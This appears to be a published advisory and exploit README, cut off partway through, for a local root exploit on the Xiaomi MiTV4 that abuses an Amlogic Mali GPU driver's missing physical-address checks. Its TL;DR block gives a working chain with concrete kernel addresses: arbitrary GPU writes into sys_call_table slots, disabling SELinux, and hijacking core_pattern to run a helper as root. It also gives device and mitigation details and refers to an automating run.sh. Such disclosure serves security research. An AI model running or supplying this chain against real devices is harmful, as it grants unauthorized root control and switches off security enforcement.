High Severity
Published: Nov 10, 2026
Local privilege escalation on Xiaomi MiTV4 (Amlogic S905L2, Mali-400 Utgard r6p1). Amlogic's published driver compiles out the physical-address validation, so userspace gets arbitrary physical writes: GPU write-back -> unused sys_call_table slots -> kallsyms resolver -> memcpy -> SELinux off. Verified; no CVE claimed. Prior art: lr-m/RIPMaliUtgard
# MiTV4 (Amlogic Utgard) — local privilege escalation via unvalidated external memory bind
**English** | [简体中文](README.zh-CN.md)
A complete, verified chain that turns an unprivileged `adb shell` (uid 2000,
`u:r:shell:s0`) into `uid=0` with SELinux permissive on a **Xiaomi MiTV4**
(Amlogic S905L2, Mali-400, Utgard DDK).
The kernel-side footprint is tiny: **132 bytes** (`128 + 4`). No ROP, no heap
spray, no KASLR bypass, no CVE.
> **Read the scope and disclaimer at the end before running anything.**
---
## 1. TL;DR
```
# sys_call_table[244..259] is 16 consecutive sys_ni_syscall slots nobody calls.
# One GPU write fills all 16 with one address; the kernel then dispatches
# syscall 244 straight into that function (arm64: 8-byte entries, args in x0..x5,
# return in x0; no PAN on this SoC so the kernel can read our user buffers).
gpu_arb_write 1f6f7a0 ffffffc00111f308 # slots -> kallsyms_lookup_name
kfunc sym memcpy # -> 0xffffffc0013e75c0 (resolver!)
gpu_arb_write 1f6f7a0 <memcpy> # slots -> memcpy
kfunc zero <selinux_enforcing> 4 # SELinux -> permissive
kfunc str <core_pattern> "|/data/local/tmp/roothelper.sh"
# trigger a coredump -> the kernel runs the helper as root
```
`run.sh` does exactly this, resolving everything except one address at runtime.
---
## 2. Affected devices
### 2.1 Verified on
| item | value |
|---|---|
| Model | Xiaomi TV **MiTV4-ANSM0 / L50M5-AD**, product `xmen` |
| OS | Android 6.0.1, build `21.11.13.2897` |
| Kernel | Linux **3.14.29**, arm64 (`aarch64`), built 2021-11-13, `#1 SMP PREEMPT` |
| SoC / GPU | Amlogic **S905L2**, Mali-400, Utgard DDK **r6p1** |
| RAM | 1 GB, linear map `va = phys + 0xffffffc000000000` |
| Mitigations | no KASLR, **no PAN**, PXN present, `panic_on_oops=1`, no seccomp/userns/bpf |
| Node perms | `/dev/mali` and `/dev/ion` are `crw-rw-rw-` (0666) |
### 2.2 Condition for other devices
Any device is affected if **all** of these hold:
1. it ships the **Am